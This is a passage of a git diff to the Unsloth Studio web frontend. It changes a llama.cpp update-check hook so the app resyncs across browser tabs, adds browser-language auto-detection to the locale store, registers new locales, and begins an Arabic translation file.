     update_available: s.update_available === true,
-    installed_tag: typeof s.installed_tag === "string" ? s.installed_tag : null,
-    latest_tag: typeof s.latest_tag === "string" ? s.latest_tag : null,
+    component,
+    installed_tag:
+      typeof details.installed_tag === "string"
+        ? details.installed_tag
+        : null,
+    latest_tag:
+      typeof details.latest_tag === "string" ? details.latest_tag : null,
     update_size_bytes:
-      typeof s.update_size_bytes === "number" ? s.update_size_bytes : null,
-    job: {
-      state: (job.state as LlamaUpdateJob["state"]) ?? "idle",
-      message: typeof job.message === "string" ? job.message : "",
-      from_tag: typeof job.from_tag === "string" ? job.from_tag : null,
-      to_tag: typeof job.to_tag === "string" ? job.to_tag : null,
-      reload_required:
-        typeof job.reload_required === "boolean" ? job.reload_required : null,
-      error: typeof job.error === "string" ? job.error : null,
-      progress: typeof job.progress === "number" ? job.progress : null,
-    },
+      typeof details.update_size_bytes === "number"
+        ? details.update_size_bytes
+        : null,
+    job: parseJob(s.job),
   };
 }
 
+// The backend job persists as "success" until the next update starts (it's a
+// single in-memory record, not per-tab), so a fresh mount -- a new tab, or a
+// page reload of a tab that already resynced -- would otherwise replay the
+// same completed job forever. Persist the handled marker outside React state
+// so it survives both, and is shared across tabs in this browser.
+const HANDLED_RELOAD_STORAGE_KEY = "unsloth_llama_update_reload_handled_at";
+
+function getHandledReloadAt(): string | null {
+  try {
+    return localStorage.getItem(HANDLED_RELOAD_STORAGE_KEY);
+  } catch {
+    return null;
+  }
+}
+
+function setHandledReloadAt(finishedAt: string | null): void {
+  if (!finishedAt) return;
+  try {
+    localStorage.setItem(HANDLED_RELOAD_STORAGE_KEY, finishedAt);
+  } catch {
+    // storage unavailable
+  }
+}
+
 async function fetchStatus(
   forceRefresh = false,
 ): Promise<LlamaUpdateStatus | null> {
@@ -78,6 +128,14 @@ const recheckStatus = () => fetchStatus(true);
 
 interface UseLlamaUpdateCheckOptions {
   enabled?: boolean;
+  /**
+   * Called when a completed update reports `reload_required` (i.e. it unloaded
+   * the active model server-side). Consumers use it to resync the chat runtime
+   * so the model selector drops to "select model" instead of pointing at a
+   * model that now 400s on send. Fires for both this tab's own apply() and a
+   * cross-tab update mirrored through the background poll.
+   */
+  onReloadRequired?: () => void;
 }
 
 export interface LlamaApplyResult {
@@ -90,12 +148,25 @@ export interface LlamaApplyResult {
 /** Tracks llama.cpp update visibility and apply progress. */
 export function useLlamaUpdateCheck({
   enabled = true,
+  onReloadRequired,
 }: UseLlamaUpdateCheckOptions = {}) {
   const [status, setStatus] = useState<LlamaUpdateStatus | null>(null);
   const [visible, setVisible] = useState(false);
   const [applying, setApplying] = useState(false);
   const pollTimer = useRef<ReturnType<typeof setInterval> | null>(null);
   const snoozeTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
+  // Read through a ref so startJobPoll stays stable (apply/surfaceIfAvailable
+  // depend on it) while still calling the latest callback.
+  const onReloadRequiredRef = useRef(onReloadRequired);
+  useEffect(() => {
+    onReloadRequiredRef.current = onReloadRequired;
+  }, [onReloadRequired]);
+  // Fires the callback once per completed job, whether this tab watched it run
+  // or only saw the persisted "success" after the fact (e.g. another tab
+  // applied it). Keyed by finished_at and seeded from localStorage so a fresh
+  // mount (new tab, or a page reload of a tab that already resynced) doesn't
+  // replay a job some tab already handled.
+  const reloadNotifiedForRef = useRef<string | null>(getHandledReloadAt());
 
   const clearPollTimer = useCallback(() => {
     if (pollTimer.current) {
@@ -104,6 +175,29 @@ export function useLlamaUpdateCheck({
     }
   }, []);
 
+  // Shared by the poll path (this tab watched the job run), the surface path
+  // (this tab only saw the persisted success), and apply()'s stale-click path
+  // (the job came back embedded in a "not started" response) so none of them
+  // can drop or double-fire the notification.
+  const notifyReloadIfNeeded = useCallback(
+    (job: Pick<LlamaUpdateJob, "state" | "reload_required" | "finished_at">) => {
+      // "error" is included for partial chained updates: the llama phase can
+      // land (and unload the server) before a later phase fails, and the
+      // backend keeps reload_required set in exactly that case. Without the
+      // resync the chat UI would keep pointing at the unloaded model.
+      if (
+        (job.state === "success" || job.state === "error") &&
+        job.reload_required &&
+        job.finished_at !== reloadNotifiedForRef.current
+      ) {
+        reloadNotifiedForRef.current = job.finished_at;
+        setHandledReloadAt(job.finished_at);
+        onReloadRequiredRef.current?.();
+      }
+    },
+    [],
+  );
+
   // Used by apply() and another-tab job tracking.
   const startJobPoll = useCallback(
     (onDone?: (result: LlamaApplyResult) => void) => {
@@ -118,20 +212,28 @@ export function useLlamaUpdateCheck({
         if (s.job.state === "success") {
           setVisible(false);
           void refreshHardwareInfo();
+          // The update unloads the running model server-side, so the chat
+          // runtime still points at a model that now 400s on send. Let the
+          // consumer drop the selector to "select model" instead of waiting for
+          // a page reload. Fires here (not just from apply's onDone) so a
+          // cross-tab update mirrored through this poll is covered too.
+          notifyReloadIfNeeded(s.job);
           onDone?.({
             ok: true,
             tag: s.job.to_tag,
             reloadRequired: s.job.reload_required,
           });
         } else if (s.job.state === "error") {
-          // Keep the banner visible so retry is available.
+          // Keep the banner visible so retry is available. A partial chained
+          // update can still have unloaded the llama server before failing.
+          notifyReloadIfNeeded(s.job);
           onDone?.({ ok: false, error: s.job.error });
         } else {
           onDone?.({ ok: false, error: "update did not complete" });
         }
       }, JOB_POLL_INTERVAL_MS);
     },
-    [clearPollTimer],
+    [clearPollTimer, notifyReloadIfNeeded],
   );
 
   const surfaceIfAvailable = useCallback(
@@ -145,11 +247,16 @@ export function useLlamaUpdateCheck({
         if (!pollTimer.current) startJobPoll();
         return;
       }
+      // A completed job persists as "success" until the next update starts, so
+      // a tab that missed the running window entirely (mounted, or only checks
+      // hourly and misses both the running and just-finished moments) still
+      // needs to resync here, not just from the poll path above.
+      notifyReloadIfNeeded(next.job);
       if (next.update_available) {
         setVisible(true);
       }
     },
-    [startJobPoll],
+    [startJobPoll, notifyReloadIfNeeded],
   );
 
   useEffect(() => {
@@ -185,6 +292,26 @@ export function useLlamaUpdateCheck({
     };
   }, [enabled, surfaceIfAvailable, clearPollTimer]);
 
+  // Cross-tab nudge: a tab that only checks hourly would otherwise stay
+  // pointed at a server-unloaded model for up to an hour after a DIFFERENT
+  // open tab applies an update. The storage event only fires in other tabs
+  // (never the one that wrote it), so this recheck fires promptly there
+  // without this tab redundantly re-triggering itself.
+  useEffect(() => {
+    if (!enabled) return;
+    const onStorage = (event: StorageEvent) => {
+      if (
+        event.key === HANDLED_RELOAD_STORAGE_KEY &&
+        event.newValue &&
+        event.newValue !== reloadNotifiedForRef.current
+      ) {
+        recheckStatus().then(surfaceIfAvailable);
+      }
+    };
+    window.addEventListener("storage", onStorage);
+    return () => window.removeEventListener("storage", onStorage);
+  }, [enabled, surfaceIfAvailable]);
+
   const dismiss = useCallback(() => {
     setVisible(false);
   }, []);
@@ -206,6 +333,7 @@ export function useLlamaUpdateCheck({
       started?: boolean;
       reason?: string | null;
       message?: string | null;
+      job?: unknown;
     } | null = null;
     try {
       const res = await authFetch("/api/llama/update", { method: "POST" });
@@ -229,6 +357,11 @@ export function useLlamaUpdateCheck({
       action.started === false &&
       action.reason !== "already_running"
     ) {
+      // A stale banner's click can land after another tab already applied the
+      // update (e.g. "up_to_date"): the response still carries that tab's
+      // completed job, so process reload_required here too, not just from the
+      // poll path -- otherwise this rejection silently drops it.
+      notifyReloadIfNeeded(parseJob(action.job));
       setApplying(false);
       return {
         ok: false,
@@ -239,7 +372,7 @@ export function useLlamaUpdateCheck({
     return await new Promise<LlamaApplyResult>((resolve) =>
       startJobPoll(resolve),
     );
-  }, [applying, startJobPoll]);
+  }, [applying, startJobPoll, notifyReloadIfNeeded]);
 
   return {
     status: enabled ? status : null,
diff --git a/studio/frontend/src/hooks/use-system.ts b/studio/frontend/src/hooks/use-system.ts
index a135cce86e..8cfe2bace4 100644
--- a/studio/frontend/src/hooks/use-system.ts
+++ b/studio/frontend/src/hooks/use-system.ts
@@ -40,6 +40,9 @@ export interface SystemInfoResponse {
   gpu: {
     available: boolean;
     backend?: string;
+    /** Whether GGUF loads accept an explicit gpu_ids pick (false on XPU hosts
+     * and Vulkan-only builds, where /load and /validate 400 picks). */
+    gguf_gpu_ids_supported?: boolean;
     backend_cuda_visible_devices?: string | null;
     parent_visible_gpu_ids?: number[];
     index_kind?: string;
diff --git a/studio/frontend/src/hooks/use-tauri-backend.ts b/studio/frontend/src/hooks/use-tauri-backend.ts
index db996768a6..53122864e7 100644
--- a/studio/frontend/src/hooks/use-tauri-backend.ts
+++ b/studio/frontend/src/hooks/use-tauri-backend.ts
@@ -71,8 +71,8 @@ function externalConflictMessage(preflight: DesktopPreflightResult) {
   }
 
   return preflight.port
-    ? `A Unsloth server for this install is already running from a terminal on port ${preflight.port}. Stop that server, or run \`unsloth studio update\` from that terminal before using the desktop app.`
-    : "A Unsloth server for this install is already running from a terminal. Stop that server, or run `unsloth studio update` from that terminal before using the desktop app.";
+    ? `An Unsloth server for this install is already running from a terminal on port ${preflight.port}. Stop that server, or run \`unsloth studio update\` from that terminal before using the desktop app.`
+    : "An Unsloth server for this install is already running from a terminal. Stop that server, or run `unsloth studio update` from that terminal before using the desktop app.";
 }
 
 async function waitForManagedServerPort(
diff --git a/studio/frontend/src/hooks/use-wheel-scroll-ref.ts b/studio/frontend/src/hooks/use-wheel-scroll-ref.ts
new file mode 100644
index 0000000000..09d0ea5a97
--- /dev/null
+++ b/studio/frontend/src/hooks/use-wheel-scroll-ref.ts
@@ -0,0 +1,43 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { useCallback, useRef } from "react";
+
+/**
+ * Callback ref for scroll containers inside modal scroll locks. The lock may
+ * cancel native wheel scrolling, so apply the delta before it reaches the
+ * portaled dialog boundary.
+ */
+export function useWheelScrollRef<T extends HTMLElement>() {
+  const detachRef = useRef<(() => void) | null>(null);
+
+  return useCallback((node: T | null) => {
+    detachRef.current?.();
+    detachRef.current = null;
+    if (!node) {
+      return;
+    }
+
+    const onWheel = (event: WheelEvent) => {
+      if (event.ctrlKey || node.scrollHeight <= node.clientHeight) {
+        return;
+      }
+      const multiplier =
+        event.deltaMode === WheelEvent.DOM_DELTA_LINE
+          ? 16
+          : event.deltaMode === WheelEvent.DOM_DELTA_PAGE
+            ? node.clientHeight
+            : 1;
+      const delta = event.deltaY * multiplier;
+      if (delta === 0) {
+        return;
+      }
+      node.scrollTop += delta;
+      event.preventDefault();
+      event.stopPropagation();
+    };
+
+    node.addEventListener("wheel", onWheel, { passive: false });
+    detachRef.current = () => node.removeEventListener("wheel", onWheel);
+  }, []);
+}
diff --git a/studio/frontend/src/i18n/AGENTS.md b/studio/frontend/src/i18n/README.md
similarity index 82%
rename from studio/frontend/src/i18n/AGENTS.md
rename to studio/frontend/src/i18n/README.md
index 35c025cd0b..7594e4723f 100644
--- a/studio/frontend/src/i18n/AGENTS.md
+++ b/studio/frontend/src/i18n/README.md
@@ -1,4 +1,4 @@
-# i18n Contribution Instructions
+# i18n Contribution Guide
 
 - `locales/en.ts` is the complete baseline message file.
 - Non-English locale files may be partial. Missing keys must fall back to English at runtime.
@@ -8,5 +8,5 @@
 - Preserve interpolation variables exactly, for example `{count}`, `{model}`, and `{provider}`.
 - Keep product and technical names unchanged unless there is an established localized name, for example `Unsloth Studio`, `LoRA`, `GGUF`, and `Hugging Face`.
 - Keep translation changes small and reviewable. Prefer separate commits for runtime changes, UI migration, and locale text.
-- When adding user-facing Studio UI text, add the English message key first and add non-English overrides only when the translation is clear.
-- Run `npx tsx src/i18n/check-parity.ts` before committing to ensure there are no shape mismatches or placeholder discrepancies in the non-English overlays.
\ No newline at end of file
+- When adding user-facing Unsloth UI text, add the English message key first and add non-English overrides only when the translation is clear.
+- Run `npx tsx src/i18n/check-parity.ts` before committing to ensure there are no shape mismatches or placeholder discrepancies in the non-English overlays.
diff --git a/studio/frontend/src/i18n/check-parity.ts b/studio/frontend/src/i18n/check-parity.ts
index e2b66f5cdc..090d68bc18 100644
--- a/studio/frontend/src/i18n/check-parity.ts
+++ b/studio/frontend/src/i18n/check-parity.ts
@@ -12,6 +12,13 @@ import { en } from "./locales/en.ts";
 import { zhCN } from "./locales/zh-CN.ts";
 import { ptBR } from "./locales/pt-br.ts";
 import { ja } from "./locales/ja.ts";
+import { es } from "./locales/es.ts";
+import { hi } from "./locales/hi.ts";
+import { ar } from "./locales/ar.ts";
+import { fr } from "./locales/fr.ts";
+import { ru } from "./locales/ru.ts";
+import { de } from "./locales/de.ts";
+import { ko } from "./locales/ko.ts";
 
 type Tree = { readonly [k: string]: string | Tree };
 
@@ -89,10 +96,17 @@ function checkExtras(
   }
 }
 
-const overlays: Record<string, Tree> = { 
+const overlays: Record<string, Tree> = {
   "zh-CN": zhCN as unknown as Tree,
   "pt-BR": ptBR as unknown as Tree,
   "ja": ja as unknown as Tree,
+  es: es as unknown as Tree,
+  hi: hi as unknown as Tree,
+  ar: ar as unknown as Tree,
+  fr: fr as unknown as Tree,
+  ru: ru as unknown as Tree,
+  de: de as unknown as Tree,
+  ko: ko as unknown as Tree,
 };
 let anyError = false;
 
diff --git a/studio/frontend/src/i18n/index.ts b/studio/frontend/src/i18n/index.ts
index 6cd2fe230a..9d7a8c4e24 100644
--- a/studio/frontend/src/i18n/index.ts
+++ b/studio/frontend/src/i18n/index.ts
@@ -8,14 +8,20 @@ import type { InterpolationValues } from "./types";
 import type { TranslationKey } from "./messages";
 
 export {
+  AUTO_LOCALE,
   DEFAULT_LOCALE,
+  DEFAULT_LOCALE_PREFERENCE,
   LOCALE_STORAGE_KEY,
   getLocale,
+  getLocalePreference,
   initializeLocale,
+  isLocalePreference,
   setLocale,
   subscribeLocale,
   useLocale,
+  useLocalePreference,
 } from "./locale-store";
+export type { LocalePreference } from "./locale-store";
 export {
   LOCALES,
   isSupportedLocale,
diff --git a/studio/frontend/src/i18n/locale-store.ts b/studio/frontend/src/i18n/locale-store.ts
index 8b4643f5a9..792e7e77fb 100644
--- a/studio/frontend/src/i18n/locale-store.ts
+++ b/studio/frontend/src/i18n/locale-store.ts
@@ -2,32 +2,94 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { useSyncExternalStore } from "react";
-import { isSupportedLocale, type Locale } from "./messages";
+import { isSupportedLocale, LOCALES, type Locale } from "./messages";
 
 export const DEFAULT_LOCALE: Locale = "en";
+export const AUTO_LOCALE = "auto";
 export const LOCALE_STORAGE_KEY = "unsloth_locale";
 
+export type LocalePreference = Locale | typeof AUTO_LOCALE;
+
+export const DEFAULT_LOCALE_PREFERENCE: LocalePreference = AUTO_LOCALE;
+
 const subscribers = new Set<() => void>();
 
+let currentPreference: LocalePreference = DEFAULT_LOCALE_PREFERENCE;
 let currentLocale: Locale = DEFAULT_LOCALE;
-let isStorageListenerActive = false;
+let areListenersActive = false;
 
-function normalizeLocale(value: unknown): Locale {
-  return isSupportedLocale(value) ? value : DEFAULT_LOCALE;
+export function isLocalePreference(value: unknown): value is LocalePreference {
+  return value === AUTO_LOCALE || isSupportedLocale(value);
 }
 
-function readStoredLocale(): Locale {
+function isTraditionalChinese(lowerTag: string): boolean {
+  if (lowerTag.includes("hant")) return true;
+  if (lowerTag.includes("hans")) return false;
+  const parts = lowerTag.split("-");
+  return parts.includes("tw") || parts.includes("hk") || parts.includes("mo");
+}
+
+function matchLocale(tag: string): Locale | null {
+  const locales = Object.keys(LOCALES) as Locale[];
+  const lower = tag.toLowerCase();
+  const exact = locales.find((locale) => locale.toLowerCase() === lower);
+  if (exact) return exact;
+  const language = lower.split("-")[0];
+  // We only ship Simplified Chinese. Don't hand it to Traditional Chinese
+  // (zh-Hant / zh-TW / zh-HK / zh-MO) users; let them fall through instead.
+  if (language === "zh" && isTraditionalChinese(lower)) return null;
+  return (
+    locales.find((locale) => locale.toLowerCase().split("-")[0] === language) ??
+    null
+  );
+}
+
+function detectLocale(): Locale {
+  const navigatorRef = globalThis.navigator;
+  const tags = navigatorRef?.languages?.length
+    ? navigatorRef.languages
+    : navigatorRef?.language
+      ? [navigatorRef.language]
+      : [];
+  let sawTraditionalChinese = false;
+  for (const tag of tags) {
+    const lower = tag.toLowerCase();
+    if (lower.split("-")[0] === "zh" && isTraditionalChinese(lower)) {
+      sawTraditionalChinese = true;
+    } else if (sawTraditionalChinese && lower === "zh") {
+      // Bare zh after a Traditional tag is the browser's base-subtag fallback, not a Simplified request; skip it.
+      continue;
+    }
+    const match = matchLocale(tag);
+    if (match) return match;
+  }
+  return DEFAULT_LOCALE;
+}
+
+function normalizePreference(value: unknown): LocalePreference {
+  if (value === AUTO_LOCALE) return AUTO_LOCALE;
+  // Return a value re-derived from our own locale table rather than the raw
+  // input, so only known language codes are ever persisted.
+  const locales = Object.keys(LOCALES) as Locale[];
+  return locales.find((locale) => locale === value) ?? DEFAULT_LOCALE_PREFERENCE;
+}
+
+function resolvePreference(preference: LocalePreference): Locale {
+  return preference === AUTO_LOCALE ? detectLocale() : preference;
+}
+
+function readStoredPreference(): LocalePreference {
   try {
     const stored = globalThis.localStorage?.getItem(LOCALE_STORAGE_KEY) ?? null;
-    return normalizeLocale(stored);
+    return normalizePreference(stored);
   } catch {
-    return DEFAULT_LOCALE;
+    return DEFAULT_LOCALE_PREFERENCE;
   }
 }
 
-function writeStoredLocale(locale: Locale): void {
+function writeStoredPreference(preference: LocalePreference): void {
   try {
-    globalThis.localStorage?.setItem(LOCALE_STORAGE_KEY, locale);
+    globalThis.localStorage?.setItem(LOCALE_STORAGE_KEY, preference);
   } catch {
     // localStorage 可能被禁用；失败只影响持久化，不影响当前会话语言。
   }
@@ -42,8 +104,10 @@ function notifySubscribers(): void {
   for (const subscriber of subscribers) subscriber();
 }
 
-function updateCurrentLocale(locale: Locale): void {
-  if (locale === currentLocale) return;
+function applyPreference(preference: LocalePreference): void {
+  const locale = resolvePreference(preference);
+  if (preference === currentPreference && locale === currentLocale) return;
+  currentPreference = preference;
   currentLocale = locale;
   syncDocumentLang(locale);
   notifySubscribers();
@@ -53,8 +117,8 @@ function isLocaleStorageEvent(event: StorageEvent): boolean {
   if (event.key !== LOCALE_STORAGE_KEY && event.key !== null) return false;
   if (!event.storageArea || typeof window === "undefined") return true;
   // Accessing window.localStorage can throw in privacy-restricted contexts
-  // where storage is blocked; mirror the try/catch in readStoredLocale/
-  // writeStoredLocale so storage-event handling is just as resilient.
+  // where storage is blocked; mirror the try/catch in readStoredPreference/
+  // writeStoredPreference so storage-event handling is just as resilient.
   try {
     return event.storageArea === window.localStorage;
   } catch {
@@ -64,21 +128,35 @@ function isLocaleStorageEvent(event: StorageEvent): boolean {
 
 function handleStorageEvent(event: StorageEvent): void {
   if (!isLocaleStorageEvent(event)) return;
-  const nextLocale =
-    event.key === null ? DEFAULT_LOCALE : normalizeLocale(event.newValue);
-  updateCurrentLocale(nextLocale);
+  const nextPreference =
+    event.key === null
+      ? DEFAULT_LOCALE_PREFERENCE
+      : normalizePreference(event.newValue);
+  applyPreference(nextPreference);
 }
 
-function startStorageListener(): void {
-  if (isStorageListenerActive || typeof window === "undefined") return;
+function handleLanguageChange(): void {
+  // Only auto mode tracks the browser language.
+  if (currentPreference !== AUTO_LOCALE) return;
+  const locale = detectLocale();
+  if (locale === currentLocale) return;
+  currentLocale = locale;
+  syncDocumentLang(locale);
+  notifySubscribers();
+}
+
+function startListeners(): void {
+  if (areListenersActive || typeof window === "undefined") return;
   window.addEventListener("storage", handleStorageEvent);
-  isStorageListenerActive = true;
+  window.addEventListener("languagechange", handleLanguageChange);
+  areListenersActive = true;
 }
 
-function stopStorageListener(): void {
-  if (!isStorageListenerActive || typeof window === "undefined") return;
+function stopListeners(): void {
+  if (!areListenersActive || typeof window === "undefined") return;
   window.removeEventListener("storage", handleStorageEvent);
-  isStorageListenerActive = false;
+  window.removeEventListener("languagechange", handleLanguageChange);
+  areListenersActive = false;
 }
 
 function getLocaleSnapshot(): Locale {
@@ -89,35 +167,49 @@ function getServerLocaleSnapshot(): Locale {
   return DEFAULT_LOCALE;
 }
 
+function getPreferenceSnapshot(): LocalePreference {
+  return currentPreference;
+}
+
+function getServerPreferenceSnapshot(): LocalePreference {
+  return DEFAULT_LOCALE_PREFERENCE;
+}
+
 export function subscribeLocale(listener: () => void): () => void {
-  const shouldStartStorageListener = subscribers.size === 0;
+  const shouldStartListeners = subscribers.size === 0;
   subscribers.add(listener);
-  if (shouldStartStorageListener) startStorageListener();
+  if (shouldStartListeners) startListeners();
 
   return () => {
     subscribers.delete(listener);
-    if (subscribers.size === 0) stopStorageListener();
+    if (subscribers.size === 0) stopListeners();
   };
 }
 
 export function initializeLocale(): Locale {
-  const nextLocale = readStoredLocale();
-  currentLocale = nextLocale;
-  syncDocumentLang(nextLocale);
+  const preference = readStoredPreference();
+  currentPreference = preference;
+  currentLocale = resolvePreference(preference);
+  syncDocumentLang(currentLocale);
   notifySubscribers();
-  return nextLocale;
+  return currentLocale;
 }
 
 export function getLocale(): Locale {
   return currentLocale;
 }
 
-export function setLocale(locale: Locale): void {
-  const requestedLocale = normalizeLocale(locale);
-  writeStoredLocale(requestedLocale);
+export function getLocalePreference(): LocalePreference {
+  return currentPreference;
+}
 
-  currentLocale = requestedLocale;
-  syncDocumentLang(requestedLocale);
+export function setLocale(preference: LocalePreference): void {
+  const requestedPreference = normalizePreference(preference);
+  writeStoredPreference(requestedPreference);
+
+  currentPreference = requestedPreference;
+  currentLocale = resolvePreference(requestedPreference);
+  syncDocumentLang(currentLocale);
   notifySubscribers();
 }
 
@@ -128,3 +220,11 @@ export function useLocale(): Locale {
     getServerLocaleSnapshot,
   );
 }
+
+export function useLocalePreference(): LocalePreference {
+  return useSyncExternalStore(
+    subscribeLocale,
+    getPreferenceSnapshot,
+    getServerPreferenceSnapshot,
+  );
+}
diff --git a/studio/frontend/src/i18n/locales/ar.ts b/studio/frontend/src/i18n/locales/ar.ts
new file mode 100644
index 0000000000..be641781df
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/ar.ts
@@ -0,0 +1,1001 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
+export const ar = {
+  common: {
+    cancel: "إلغاء",
+    close: "إغلاق",
+    delete: "حذف",
+    done: "تم",
+    error: "خطأ",
+    export: "تصدير",
+    help: "مساعدة",
+    loading: "جارٍ التحميل...",
+    new: "جديد",
+    rename: "إعادة تسمية",
+    save: "حفظ",
+    saving: "جارٍ الحفظ...",
+    search: "بحث",
+    shutdown: "إيقاف التشغيل",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "قائمة حساب {name}",
+    updateAvailable: "يتوفر تحديث",
+    aria: {
+      home: "الصفحة الرئيسية لـ Unsloth",
+      closeSidebar: "إغلاق الشريط الجانبي",
+      openSidebar: "فتح الشريط الجانبي",
+      chatOptions: "خيارات المحادثة",
+      runOptions: "خيارات التدريب",
+    },
+    navigation: {
+      newChat: "محادثة جديدة",
+      returnToChat: "العودة إلى المحادثة",
+      compare: "مقارنة",
+      search: "بحث",
+      hub: "النماذج",
+      train: "تدريب",
+      recipes: "الوصفات",
+      export: "تصدير",
+      recents: "الأخيرة",
+      noChatsYet: "لا توجد محادثات بعد",
+      settings: "الإعدادات",
+      api: "API",
+      lightMode: "الوضع الفاتح",
+      darkMode: "الوضع الداكن",
+      guidedTour: "جولة إرشادية",
+      help: "مساعدة",
+      logOut: "تسجيل الخروج",
+      shutdown: "إيقاف التشغيل",
+    },
+    notFound: {
+      title: "الصفحة غير موجودة",
+      description: "{path} غير موجود.",
+      backToChat: "العودة إلى المحادثة",
+    },
+    dialog: {
+      deleteChat: {
+        title: "حذف المحادثة",
+        description: 'هل أنت متأكد من أنك تريد حذف هذه المحادثة "{name}"؟',
+      },
+      deleteRun: {
+        title: "حذف عملية التدريب",
+        description: 'هل أنت متأكد من أنك تريد حذف هذه العملية "{name}"؟',
+      },
+      renameChat: {
+        title: "إعادة تسمية المحادثة",
+        placeholder: "عنوان المحادثة",
+      },
+      renameRun: {
+        title: "إعادة تسمية العملية",
+        placeholder: "اسم العملية",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun: "لا يمكن حذف عملية تدريب قيد التشغيل",
+      failedToDeleteChat: "فشل حذف المحادثة",
+      failedToDeleteRun: "فشل حذف العملية",
+      failedToRenameChat: "فشلت إعادة تسمية المحادثة",
+      failedToRenameRun: "فشلت إعادة تسمية العملية",
+    },
+  },
+  settings: {
+    title: "الإعدادات",
+    dialog: {
+      title: "الإعدادات",
+      description: "إدارة تفضيلات Unsloth الخاصة بك.",
+      closeAriaLabel: "إغلاق الإعدادات",
+    },
+    tabs: {
+      general: "عام",
+      profile: "الملف الشخصي",
+      appearance: "المظهر",
+      resources: "النظام",
+      chat: "المحادثة",
+      connections: "الاتصالات",
+      apiKeys: "API",
+      about: "حول",
+    },
+    general: {
+      title: "عام",
+      description: "التفضيلات العامة لـ Unsloth.",
+      account: "الحساب",
+      huggingFaceToken: "توكن Hugging Face",
+      huggingFaceTokenDescription:
+        "يُستخدم لتحميل النماذج المقيّدة ورفع المخرجات.",
+      hideToken: "إخفاء التوكن",
+      showToken: "إظهار التوكن",
+      tokenValidated: "تم التحقق من الرمز",
+      password: "كلمة المرور",
+      passwordDescription: "تغيير كلمة المرور لحساب Unsloth هذا.",
+      passwordDialog: {
+        trigger: "تغيير كلمة المرور",
+        title: "تغيير كلمة المرور",
+        description:
+          "أدخل كلمة المرور الحالية واختر كلمة مرور جديدة (بحد أدنى {minLength} حرفًا).",
+        currentPassword: "كلمة المرور الحالية",
+        newPassword: "كلمة المرور الجديدة",
+        confirmPassword: "تأكيد كلمة المرور الجديدة",
+        currentTooShort:
+          "يجب أن تتكون كلمة المرور الحالية من {minLength} حرفًا على الأقل.",
+        newTooShort:
+          "يجب أن تتكون كلمة المرور الجديدة من {minLength} حرفًا على الأقل.",
+        mismatch: "كلمتا المرور غير متطابقتين.",
+        samePassword:
+          "يجب أن تختلف كلمة المرور الجديدة عن كلمة المرور الحالية.",
+        update: "تحديث كلمة المرور",
+        updating: "جارٍ التحديث...",
+        updated: "تم تحديث كلمة المرور.",
+        updateFailed: "فشل تحديث كلمة المرور.",
+      },
+      chatDefaults: "الإعدادات الافتراضية للمحادثة",
+      autoTitleNewChats: "عنونة المحادثات الجديدة تلقائيًا",
+      autoTitleNewChatsDescription:
+        "إنشاء عنوان قصير من الرسالة الأولى.",
+      helperLlm: {
+        sectionTitle: "نموذج LLM المساعد",
+        preloadOnStartup: "تحميل نموذج LLM المساعد مسبقًا عند بدء التشغيل",
+        preloadOnStartupDescription:
+          "تنزيل نموذج مساعد AI Assist في الخلفية عند بدء التشغيل. مُعطّل افتراضيًا؛ لا يزال بإمكان AI Assist جلبه عند الطلب.",
+        disabledByEnv:
+          "مُعطّل بواسطة UNSLOTH_HELPER_MODEL_DISABLE في بيئة الخادم.",
+        loadError: "فشل تحميل إعدادات نموذج LLM المساعد.",
+        saveError: "فشل حفظ إعدادات نموذج LLM المساعد.",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "التبديل التلقائي للنموذج (OpenAI API)",
+        enable: "تبديل النموذج حسب الطلب",
+        enableDescription:
+          "عندما يسمّي طلب متوافق مع OpenAI ملف GGUF مُنزّلاً مختلفًا، يتم تحميله قبل الخدمة. مُعطّل افتراضيًا؛ الأسماء غير المعروفة تُبقي على النموذج المُحمَّل.",
+        idleUnload: "الإلغاء التلقائي عند الخمول",
+        idleUnloadDescription:
+          "إلغاء تحميل النموذج بعد هذا العدد من ثواني الخمول لتحرير الـ VRAM؛ الطلب التالي يعيد تحميله. القيمة 0 تُبقيه محمَّلاً. الحد الأدنى 60 ثانية.",
+        idleNeedsEnable:
+          "فعّل تبديل النموذج حسب الطلب حتى يعاد تحميل النموذج غير المحمَّل عند الاستخدام التالي.",
+        idleActiveViaEnv:
+          "الإلغاء التلقائي عند الخمول مُفعَّل عبر متغير البيئة UNSLOTH_MODEL_IDLE_TTL.",
+        loadError: "فشل تحميل إعدادات التبديل التلقائي للنموذج.",
+        saveError: "فشل حفظ إعدادات التبديل التلقائي للنموذج.",
+        idleError: "أدخل 0 لإبقاء النموذج محمَّلاً، أو 60 ثانية على الأقل.",
+      },
+      previewSharing: {
+        sectionTitle: "مشاركة المعاينة",
+        enableLabel: "روابط المعاينة العامة",
+        enableDescription:
+          "اسمح لأي شخص لديه رابط موقّع بالمحادثة مع نموذج مكتمل دون الحاجة إلى تسجيل الدخول. أوقف التشغيل لإخفاء واجهة المعاينة العامة؛ تتوقف الروابط المشتركة عن العمل.",
+        loadError: "فشل تحميل إعدادات مشاركة المعاينة.",
+        saveError: "فشل حفظ إعدادات مشاركة المعاينة.",
+        revokeLabel: "إلغاء جميع روابط المعاينة",
+        revokeDescription:
+          "قم بتدوير سر التوقيع بحيث يتوقف كل رابط شاركته عن العمل. تظل الروابط المنسوخة حديثًا تعمل.",
+        revokeAction: "إلغاء الروابط",
+        revoking: "جارٍ الإلغاء...",
+        revokeConfirmTitle: "إلغاء جميع روابط المعاينة؟",
+        revokeConfirmDescription:
+          "سيتوقف كل رابط معاينة شاركته عن العمل فورًا. لا يمكن التراجع عن هذا الإجراء.",
+        revokeConfirmAction: "إلغاء جميع الروابط",
+        revoked: "تم إلغاء جميع روابط المعاينة",
+        revokeError: "تعذّر إلغاء روابط المعاينة",
+      },
+      notifications: {
+        sectionTitle: "الإشعارات",
+        showLlamaUpdates: "إشعارات تحديث llama.cpp",
